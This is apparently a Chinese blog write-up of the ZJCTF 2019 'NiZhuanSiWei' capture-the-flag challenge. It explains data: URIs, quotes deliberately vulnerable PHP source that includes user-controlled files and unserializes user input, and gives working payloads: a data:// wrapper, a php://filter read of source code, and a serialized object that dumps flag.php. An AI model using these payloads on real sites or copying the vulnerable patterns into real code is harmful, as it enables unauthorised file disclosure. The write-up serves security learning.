[ZJCTF 2019]NiZhuanSiWei

通过这个题来记录几个绕过技巧

题目链接:https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

相关知识点:

  1. data协议写入文件
  2. php协议读取源码
  3. php序列化

Data URI

Data URI scheme 简称 Data URI,经常会被错误地写成 data URLs。即前缀为data:协议的的URL,其允许内容创建者向文档中嵌入小文件。

语法: data:①[<mime type>]②[;charset=<charset>]③[;<encoding>]④,<encoded data>⑤

①协议头,它标识这个内容为一个 data URI 资源。

②MIME类型,text、image、audio、video、application

③[;charset=<charset>],源文本的字符集编码方式,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx

④ 数据编码方式(默认US-ASCII,BASE64两种)

⑤ 编码后的数据

应用实例

1.在Html的Img对象中使用

<img src="data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF..." />

2.在Css的background-image属性中使用

div.image {
    width:100px;
    height:100px;
    background-image:url(data:image/x-icon;base64,AAABAAEAEBAAAAAAAABoBQAAF...);
}

3.在Html的css链接处使用

<link rel="stylesheet" type="text/css" href="data:text/css;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." />

4.在Html的javaScript链接处使用

<script src="data:text/javascript;base64,LyogKioqKiogVGVtcGxhdGUgKioq..." type="text/javascript"></script>

5.data RUI scheme也可以直接在浏览器的地址栏中输入进行访问 ,这道题目就是这种场景下的使用实例。

data:text/html,<html><body><p><b>Hello, world!</b></p></body></html>
data:text/plain;charset=UTF-8;base64,5L2g5aW977yM5Lit5paH77yB

 

题解

题目上来给了一段源码:

<?php   
$text = $_GET["text"]; 
$file = $_GET["file"]; 
$password = $_GET["password"]; 
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 
    if(preg_match("/flag/",$file)){ 
        echo "Not now!"; 
        exit();  
    }else{ 
        include($file);  //useless.php 
        $password = unserialize($password); 
        echo $password; 
    } 
} 
else{ 
    highlight_file(__FILE__); 
} 
?>

  首先分析一下,有三个参数是可控的:$text、$file、$password。源码通过一层一层过滤来阻止输出$password。

第一层过滤:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ 
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; 

  需要传入参数$text,文件$text的内容必须是  "welcome to the zjctf",这里可以使用data协议来实现。payload如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

  这里也可以不用base64,使用base64是用来绕过某些过滤。

第二层过滤:

if(preg_match("/flag/",$file)){ 
    echo "Not now!"; 
    exit();  
}

直接访问useless.php看不到源码,需要想办法看到useless.php的源码,preg_match函数对"/flag/"进行了过滤,说明不能直接将useless.php赋值给$file,这里可以使用filter协议进行读取文件源码,payload如下:

file=php://filter/convert.base64-encode/resource=useless.php

得到一串base64编码,解码之后就是useless.php内容:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

第三层过滤就是对Flag类进行一个序列化,传入参数password就可以了。

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  


$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

最终的payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

posted @ 2020-10-13 22:52  s1awwhy  阅读(2244)  评论(0编辑  收藏  举报